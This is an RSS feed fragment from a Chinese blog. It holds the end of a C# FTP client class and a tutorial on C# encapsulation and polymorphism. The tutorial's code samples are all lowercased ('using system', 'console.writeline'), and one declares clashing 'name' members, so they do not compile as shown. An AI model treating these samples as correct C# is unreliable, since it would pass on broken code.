&nbsp;&nbsp;public void Put(string strFolder,string strFileNameMask)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;string[] strFiles = Directory.GetFiles(strFolder,strFileNameMask);<br />
&nbsp;&nbsp;&nbsp;foreach(string strFile in strFiles)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;//strFile是完整的文件名(包含路径)<br />
&nbsp;&nbsp;&nbsp;&nbsp;Put(strFile);<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}</span></p>
<p><br />
<span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 上传一个文件<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strFileName"&gt;本地文件名&lt;/param&gt;<br />
&nbsp;&nbsp;public void Put(string strFileName)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;if(!bConnected)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;Connect();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;Socket socketData = CreateDataSocket();<br />
&nbsp;&nbsp;&nbsp;SendCommand("STOR "+Path.GetFileName(strFileName));<br />
&nbsp;&nbsp;&nbsp;if( !(iReplyCode == 125 || iReplyCode == 150) )<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;FileStream input = new <br />
&nbsp;&nbsp;&nbsp;&nbsp;FileStream(strFileName,FileMode.Open);<br />
&nbsp;&nbsp;&nbsp;int iBytes = 0;<br />
&nbsp;&nbsp;&nbsp;while ((iBytes = input.Read(buffer,0,buffer.Length)) &gt; 0)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;socketData.Send(buffer, iBytes, 0);<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;input.Close();<br />
&nbsp;&nbsp;&nbsp;if (socketData.Connected)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;socketData.Close();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;if(!(iReplyCode == 226 || iReplyCode == 250))<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;ReadReply();<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(!(iReplyCode == 226 || iReplyCode == 250))<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#endregion</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#region 目录操作<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 创建目录<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strDirName"&gt;目录名&lt;/param&gt;<br />
&nbsp;&nbsp;public void MkDir(string strDirName)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;if(!bConnected)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;Connect();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;SendCommand("MKD "+strDirName);<br />
&nbsp;&nbsp;&nbsp;if(iReplyCode != 257)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}</span></p>
<p><br />
<span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 删除目录<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strDirName"&gt;目录名&lt;/param&gt;<br />
&nbsp;&nbsp;public void RmDir(string strDirName)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;if(!bConnected)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;Connect();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;SendCommand("RMD "+strDirName);<br />
&nbsp;&nbsp;&nbsp;if(iReplyCode != 250)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}</span></p>
<p><br />
<span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 改变目录<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strDirName"&gt;新的工作目录名&lt;/param&gt;<br />
&nbsp;&nbsp;public void ChDir(string strDirName)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;if(strDirName.Equals(".") || strDirName.Equals(""))<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;if(!bConnected)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;Connect();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;SendCommand("CWD "+strDirName);<br />
&nbsp;&nbsp;&nbsp;if(iReplyCode != 250)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;this.strRemotePath = strDirName;<br />
&nbsp;&nbsp;}</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#endregion</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 将一行应答字符串记录在strReply和strMsg<br />
&nbsp;&nbsp;/// 应答码记录在iReplyCode<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;private void ReadReply()<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;strMsg = "";<br />
&nbsp;&nbsp;&nbsp;strReply = ReadLine();<br />
&nbsp;&nbsp;&nbsp;iReplyCode = Int32.Parse(strReply.Substring(0,3));<br />
&nbsp;&nbsp;}</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 建立进行数据连接的socket<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;returns&gt;数据连接socket&lt;/returns&gt;<br />
&nbsp;&nbsp;private Socket CreateDataSocket()<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;SendCommand("PASV");<br />
&nbsp;&nbsp;&nbsp;if(iReplyCode != 227)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;int index1 = strReply.IndexOf('(');<br />
&nbsp;&nbsp;&nbsp;int index2 = strReply.IndexOf(')');<br />
&nbsp;&nbsp;&nbsp;string ipData = <br />
&nbsp;&nbsp;&nbsp;&nbsp;strReply.Substring(index1+1,index2-index1-1);<br />
&nbsp;&nbsp;&nbsp;int[] parts = new int[6];<br />
&nbsp;&nbsp;&nbsp;int len = ipData.Length;<br />
&nbsp;&nbsp;&nbsp;int partCount = 0;<br />
&nbsp;&nbsp;&nbsp;string buf="";<br />
&nbsp;&nbsp;&nbsp;for (int i = 0; i &lt; len &amp;&amp; partCount &lt;= 6; i++)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;char ch = Char.Parse(ipData.Substring(i,1));<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (Char.IsDigit(ch))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf+=ch;<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if (ch != ',')<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException("Malformed PASV strReply: " + <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReply);<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (ch == ',' || i+1 == len)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parts[partCount++] = Int32.Parse(buf);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf="";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch (Exception)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException("Malformed PASV strReply: " + <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReply);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;string ipAddress = parts[0] + "."+ parts[1]+ "." +<br />
&nbsp;&nbsp;&nbsp;&nbsp;parts[2] + "." + parts[3];<br />
&nbsp;&nbsp;&nbsp;int port = (parts[4] &lt;&lt; 8) + parts[5];<br />
&nbsp;&nbsp;&nbsp;Socket s = new <br />
&nbsp;&nbsp;&nbsp;&nbsp;Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);<br />
&nbsp;&nbsp;&nbsp;IPEndPoint ep = new <br />
&nbsp;&nbsp;&nbsp;&nbsp;IPEndPoint(IPAddress.Parse(ipAddress), port);<br />
&nbsp;&nbsp;&nbsp;try<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;s.Connect(ep);<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;catch(Exception)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException("Can't connect to remote server");<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;return s;<br />
&nbsp;&nbsp;}</span></p>
<p><br />
<span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 关闭socket连接(用于登录以前)<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;private void CloseSocketConnect()<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;if(socketControl!=null)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;socketControl.Close();<br />
&nbsp;&nbsp;&nbsp;&nbsp;socketControl = null;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;bConnected = false;<br />
&nbsp;&nbsp;}</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 读取Socket返回的所有字符串<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;returns&gt;包含应答码的字符串行&lt;/returns&gt;<br />
&nbsp;&nbsp;private string ReadLine()<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;while(true)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int iBytes = socketControl.Receive(buffer, buffer.Length, 0);<br />
&nbsp;&nbsp;&nbsp;&nbsp;strMsg += ASCII.GetString(buffer, 0, iBytes);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(iBytes &lt; buffer.Length)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;char[] seperator = {'\n'};<br />
&nbsp;&nbsp;&nbsp;string[] mess = strMsg.Split(seperator);<br />
&nbsp;&nbsp;&nbsp;if(strMsg.Length &gt; 2)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;strMsg = mess[mess.Length-2];<br />
&nbsp;&nbsp;&nbsp;&nbsp;//seperator[0]是10,换行符是由13和0组成的,分隔后10后面虽没有字符串,<br />
&nbsp;&nbsp;&nbsp;&nbsp;//但也会分配为空字符串给后面(也是最后一个)字符串数组,<br />
&nbsp;&nbsp;&nbsp;&nbsp;//所以最后一个mess是没用的空字符串<br />
&nbsp;&nbsp;&nbsp;&nbsp;//但为什么不直接取mess[0],因为只有最后一行字符串应答码与信息之间有空格<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;strMsg = mess[0];<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;if(!strMsg.Substring(3,1).Equals(" "))//返回字符串正确的是以应答码(如220开头,后面接一空格,再接问候字符串)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return ReadLine();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;return strMsg;<br />
&nbsp;&nbsp;}</span></p>
<p><br />
<span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 发送命令并获取应答码和最后一行应答字符串<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strCommand"&gt;命令&lt;/param&gt;<br />
&nbsp;&nbsp;private void SendCommand(string strCommand)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;Byte[] cmdBytes = ASCII.GetBytes((strCommand + "\r\n").ToCharArray());<br />
&nbsp;&nbsp;&nbsp;socketControl.Send(cmdBytes, cmdBytes.Length, 0);<br />
&nbsp;&nbsp;&nbsp;ReadReply();<br />
&nbsp;&nbsp;}</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#endregion<br />
&nbsp;}<br />
}<br />
</span></p>
<img src ="http://www.blogjava.net/zengke/aggbug/142167.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2007-09-03 01:34 <a href="http://www.blogjava.net/zengke/articles/142167.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于C#面向对象三个特征:继承,封装,多态的说明</title><link>http://www.blogjava.net/zengke/articles/108306.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Tue, 03 Apr 2007 17:02:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/108306.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/108306.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/108306.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/108306.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/108306.html</trackback:ping><description><![CDATA[封装(encapsulation):封装是一个面向对象的概念,对外部世界,隐藏类的内部.<br>封装优点:<br>1.好的封装能减少耦合.<br>2.类的内部的实现可以自由改变.<br>3.一个类有更清楚的接口.<br>data hiding(数据隐藏):封装的一个最有用的形式是数据隐藏.一个类的数据表现一个对象的状态.<br>修饰符支持封装:<br>private:只有类本身能存取.<br>protected:类和派生类可以存取.<br>internal:只有同一个项目中的类可以存取.<br>protected internal:是protected和internal的结合. <br>public:完全存取.<br>other encapsulating strategy:(其他封装策略)属性和索引器的目的是封装一个类的细节和给类的用户提供一个公共的接口.<br>封装和继承的关系:<br>封装的意思是包容(聚合),类与类之间的关系是"has a".一个类里面有另一个类.<br>继承,类与类之间的关系是"is a".<br><br>多态(polymorphism):就是怎样重载一个虚拟类.多态是面向对象的重要概念.<br>implementing polymorphism(实现多态):<br>例子:<br>using system;<br>public class website<br>{<br>&nbsp;&nbsp;public string sitename;<br>&nbsp;&nbsp;public string url;<br>&nbsp;&nbsp;public string description;<br><br>&nbsp;&nbsp;public website()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;public website( string strsitename, string strurl, string strdescription )<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;sitename&nbsp;&nbsp;= strsitename;<br>&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= strurl;<br>&nbsp;&nbsp;&nbsp;&nbsp;description = strdescription;<br>&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;public override string tostring()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;return sitename + ", " +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;&nbsp;&nbsp;+ ", " +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;description;<br>&nbsp;&nbsp;}<br>}<br><br>abstract public class contact<br>{<br>&nbsp;&nbsp;public virtual string updatenotify()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;return "web site change notification";<br>&nbsp;&nbsp;}<br>}<br><br>public class customer : contact<br>{<br>&nbsp;&nbsp;public new string updatenotify()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;return @"<br>this is to let you know your<br>favorite site, financial times,<br>has been updated with new links";<br>&nbsp;&nbsp;}<br>}<br><br>public class siteowner : contact<br>{<br>&nbsp;&nbsp;website mysite;<br><br>&nbsp;&nbsp;public siteowner(string aname, website asite)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;mysite = new website(asite.sitename,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;asite.url,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;asite.description);<br>&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;public new string updatenotify()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;return @"<br>this is to let you know your site, " + "\n" +<br>mysite.sitename + @", has been added as<br>a link to financial times.";<br>&nbsp;&nbsp;}<br>}<br><br>public class test<br>{<br>&nbsp;&nbsp;public static void main()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;website lefin = new website("le financier",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"http://www.lefinancier.com",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"fancy financial site");<br><br>&nbsp;&nbsp;&nbsp;&nbsp;contact[] contacts = new contact[2];<br><br>&nbsp;&nbsp;&nbsp;&nbsp;contacts[0] = new siteowner("pierre doe", lefin);<br>&nbsp;&nbsp;&nbsp;&nbsp;contacts[1] = new customer();<br><br>&nbsp;&nbsp;&nbsp;&nbsp;foreach (contact poc in contacts)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (poc is siteowner)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.writeline("message: {0}\n",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((siteowner)poc).updatenotify());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.writeline("message: {0}\n",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((customer)poc).updatenotify());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>}<br>在例子中,contact类有个虚拟方法,有两个派生类分别实现.使用了"new"关键字.<br>可以有更有效和优雅的方法,实现它,就是多态.<br>例子:<br>using system;<br>abstract public class contact<br>{<br>&nbsp;&nbsp;public virtual string updatenotify()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;return "web site change notification";<br>&nbsp;&nbsp;}<br>}<br><br>public class customer : contact<br>{<br>&nbsp;&nbsp;public override string updatenotify()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;return @"<br>this is to let you know your<br>favorite site, financial times,<br>has been updated with new links";<br>&nbsp;&nbsp;}<br>}<br><br>public class siteowner : contact<br>{<br>&nbsp;&nbsp;string sitename;<br><br>&nbsp;&nbsp;public siteowner(string sname)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;sitename = sname;<br>&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;public override string updatenotify()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;return @"<br>this is to let you know your site, " + "\n" +<br>sitename + @", has been added as<br>a link to financial times.";<br>&nbsp;&nbsp;}<br>}<br>public class test<br>{<br>&nbsp;&nbsp;public static void main()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;contact[] contacts = new contact[2];<br><br>&nbsp;&nbsp;&nbsp;&nbsp;contacts[0] = new siteowner("le financier");<br>&nbsp;&nbsp;&nbsp;&nbsp;contacts[1] = new customer();<br><br>&nbsp;&nbsp;&nbsp;&nbsp;foreach (contact poc in contacts)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.writeline("message: {0}\n",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;poc.updatenotify());<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>}<br><br>例子中,派生类用"override"实现了多态.<br>虚拟方法是允许多态工作的基类的方法.用"override"修饰符说明,能被派生类重载.虚拟方法和抽象方法的不同<br><br>时,虚拟方法有实现,抽象方法没有.抽象方法,隐式说明是虚拟,必须被重载;虚拟方法不必被重载.<br><br>多态,必须是虚拟方法,而且,方法的签名必须一致,包括方法名称,参数,和参数类型.<br>例子:<br>abstract public class contact<br>{<br>&nbsp;&nbsp;public virtual string updatenotify()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;return "web site change notification";<br>&nbsp;&nbsp;}<br>}<br><br>public class customer : contact<br>{<br>&nbsp;&nbsp;public override string sendmail() {}// error<br><br>&nbsp;&nbsp;public override string updatenotify(int number) {}// error<br>}<br>例子中,sendmail不是虚拟方法,故错误;updatenotify,带有不同的参数,故也错误.<br><br>new 和 override 修饰符,都可以实现新的方法.但,new 实现的是派生类新的方法.<br>例子:<br>using system;<br><br>abstract public class contact<br>{<br>&nbsp;&nbsp;public virtual string updatenotify()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;return "web site change notification";<br>&nbsp;&nbsp;}<br>}<br><br>public class customer : contact<br>{<br>&nbsp;&nbsp;public new string updatenotify()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;return @"<br>this is to let you know your<br>favorite site, financial times,<br>has been updated with new links";<br>&nbsp;&nbsp;}<br>}<br><br>public class siteowner : contact<br>{<br>&nbsp;&nbsp;string sitename;<br><br>&nbsp;&nbsp;public siteowner(string sname)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;sitename = sname;<br>&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;public override string updatenotify()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;return @"<br>this is to let you know your site, " + "\n" +<br>sitename + @", has been added as<br>a link to financial times.";<br>&nbsp;&nbsp;}<br>}<br><br>public class test<br>{<br>&nbsp;&nbsp;public static void main()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;contact[] contacts = new contact[2];<br><br>&nbsp;&nbsp;&nbsp;&nbsp;contacts[0] = new siteowner("le financier");<br>&nbsp;&nbsp;&nbsp;&nbsp;contacts[1] = new customer();<br><br>&nbsp;&nbsp;&nbsp;&nbsp;foreach (contact poc in contacts)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.writeline("message: {0}\n",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;poc.updatenotify());<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>}<br>结果是:<br>message:<br>this is to let you know your site,<br>le financier, has been added as<br>a link to financial times.<br><br>message: web site change notification<br>例子中,customer 用"new"实现新的方法,但是,在运行是不是多态.仍然调用基类的方法.<br><br>most-derived implementations(多重派生实现)<br><br>polymorphic properties(多态的属性):c#允许,属性的多态实现.<br>例子:<br>using system;<br><br>public class sitestats<br>{<br>&nbsp;&nbsp;public int numberofvisits = 0;<br>}<br><br>abstract public class contact<br>{<br>&nbsp;&nbsp;protected string name;<br><br>&nbsp;&nbsp;public virtual string name<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;get<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return name;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;set<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name = value;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>}<br><br>public class customer : contact<br>{<br>&nbsp;&nbsp;sitestats mystats = new sitestats();<br><br>&nbsp;&nbsp;public override string name<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;get<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mystats.numberofvisits++;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.writeline("number of visits: {0}",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mystats.numberofvisits);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return name;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;set<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;base.name = value;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mystats.numberofvisits = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.writeline("name: {0}", name);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>}<br><br>public class test<br>{<br>&nbsp;&nbsp;public static void main()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;contact mycontact = new customer();<br>&nbsp;&nbsp;&nbsp;&nbsp;mycontact.name = "george";<br>&nbsp;&nbsp;}<br>}<br>例子中,抽象类,有属性name,派生类重载实现了属性.<br><br>polymorphic indexers(多态的索引器):索引器的多态.<br>例子:<br>using 